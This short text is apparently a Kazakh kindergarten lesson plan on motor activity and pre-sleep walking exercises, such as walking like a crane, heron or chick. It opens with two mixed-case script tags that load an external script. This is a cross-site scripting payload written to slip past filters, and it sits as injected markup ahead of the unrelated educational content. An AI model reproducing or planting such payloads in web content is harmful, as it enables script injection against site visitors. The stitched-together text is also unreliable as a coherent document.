<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Мақсаты: қозғалыс белсенділіктерін дамыту, ұйқы алдында жаттықтыруды жалғастыру.

Жүрудің әртүрлі тәсілдерін қолданып (тырна, құтан, балапан сияқты жүру) жүруге жаттықтыру.